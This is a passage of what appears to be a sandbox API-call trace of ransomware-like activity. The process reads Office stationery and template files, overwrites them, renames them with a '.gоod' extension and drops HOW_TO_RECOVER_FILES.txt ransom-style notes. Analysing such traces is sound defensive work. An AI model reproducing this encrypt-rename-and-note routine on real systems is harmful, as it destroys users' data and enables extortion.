lpOldMode=0x200ec700) returned 1 [0195.012] GetFileType (hFile=0x838) returned 0x1 [0195.012] ReadFile (in: hFile=0x838, lpBuffer=0x36fde40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x36fde40*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0195.135] CloseHandle (hObject=0x838) returned 1 [0195.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0195.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0195.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.136] GetFileType (hFile=0x838) returned 0x1 [0195.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0195.136] GetFileType (hFile=0x838) returned 0x1 [0195.136] WriteFile (in: hFile=0x838, lpBuffer=0x356a6e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x356a6e0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0195.136] CloseHandle (hObject=0x838) returned 1 [0195.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0195.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG.gоod", lpFilePart=0x0) returned 0x48 [0195.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0195.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7084d49a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1899)) returned 1 [0195.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0195.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg.gоod")) returned 1 [0195.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", lpFilePart=0x0) returned 0x43 [0195.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0195.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif"), fInfoLevelId=0x0, lpFileInformation=0x35842c8 | out: lpFileInformation=0x35842c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a)) returned 1 [0195.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0195.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", lpFilePart=0x0) returned 0x43 [0195.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0195.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.138] GetFileType (hFile=0x838) returned 0x1 [0195.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0195.139] GetFileType (hFile=0x838) returned 0x1 [0195.139] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x81a [0195.139] ReadFile (in: hFile=0x838, lpBuffer=0x3584d80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3584d80*, lpNumberOfBytesRead=0x200ec818*=0x81a, lpOverlapped=0x0) returned 1 [0195.140] CloseHandle (hObject=0x838) returned 1 [0196.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", lpFilePart=0x0) returned 0x43 [0196.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0196.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0196.712] GetFileType (hFile=0x848) returned 0x1 [0196.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0196.713] GetFileType (hFile=0x848) returned 0x1 [0196.713] WriteFile (in: hFile=0x848, lpBuffer=0x37c25c0*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x37c25c0*, lpNumberOfBytesWritten=0x200ec728*=0x820, lpOverlapped=0x0) returned 1 [0196.713] CloseHandle (hObject=0x848) returned 1 [0196.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF", lpFilePart=0x0) returned 0x43 [0196.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF.gоod", lpFilePart=0x0) returned 0x48 [0196.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0196.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7175a0c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0196.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0196.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.gif.gоod")) returned 1 [0196.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", lpFilePart=0x0) returned 0x43 [0196.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0196.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm"), fInfoLevelId=0x0, lpFileInformation=0x37c3848 | out: lpFileInformation=0x37c3848*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da)) returned 1 [0196.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0196.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", lpFilePart=0x0) returned 0x43 [0196.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0196.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0196.716] GetFileType (hFile=0x848) returned 0x1 [0196.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0196.716] GetFileType (hFile=0x848) returned 0x1 [0196.716] GetFileSize (in: hFile=0x848, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1da [0196.716] ReadFile (in: hFile=0x848, lpBuffer=0x37c3cc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x37c3cc0*, lpNumberOfBytesRead=0x200ec818*=0x1da, lpOverlapped=0x0) returned 1 [0196.717] CloseHandle (hObject=0x848) returned 1 [0196.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", lpFilePart=0x0) returned 0x43 [0196.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0196.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0196.867] GetFileType (hFile=0x7c8) returned 0x1 [0196.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0196.867] GetFileType (hFile=0x7c8) returned 0x1 [0196.867] WriteFile (in: hFile=0x7c8, lpBuffer=0x36cea80*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x36cea80*, lpNumberOfBytesWritten=0x200ec728*=0x1e0, lpOverlapped=0x0) returned 1 [0196.868] CloseHandle (hObject=0x7c8) returned 1 [0196.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM", lpFilePart=0x0) returned 0x43 [0196.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM.gоod", lpFilePart=0x0) returned 0x48 [0196.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0196.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718d7809, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0196.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0196.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\TECHTOOL.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\techtool.htm.gоod")) returned 1 [0196.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0196.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eca50) returned 1 [0196.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.871] GetFileType (hFile=0x7c8) returned 0x1 [0196.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9c0) returned 1 [0196.871] GetFileType (hFile=0x7c8) returned 0x1 [0196.871] WriteFile (in: hFile=0x7c8, lpBuffer=0x36d2120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ecb18, lpOverlapped=0x0 | out: lpBuffer=0x36d2120*, lpNumberOfBytesWritten=0x200ecb18*=0x5d0, lpOverlapped=0x0) returned 1 [0196.872] CloseHandle (hObject=0x7c8) returned 1 [0196.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0196.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed480) returned 1 [0196.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0196.873] GetFileType (hFile=0x7c8) returned 0x1 [0196.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed3f0) returned 1 [0196.873] GetFileType (hFile=0x7c8) returned 0x1 [0196.874] WriteFile (in: hFile=0x7c8, lpBuffer=0x36d5950*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ed548, lpOverlapped=0x0 | out: lpBuffer=0x36d5950*, lpNumberOfBytesWritten=0x200ed548*=0x5d0, lpOverlapped=0x0) returned 1 [0196.875] CloseHandle (hObject=0x7c8) returned 1 [0196.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0196.875] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates", lpFilePart=0x0) returned 0x30 [0196.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0196.875] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.875] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0196.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0196.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0196.876] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0196.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0196.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0196.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0196.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates", lpFilePart=0x0) returned 0x30 [0196.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0196.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.876] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0196.877] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0196.877] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0196.877] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0196.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0196.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0196.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0196.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033", lpFilePart=0x0) returned 0x35 [0196.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0196.879] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0196.880] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, 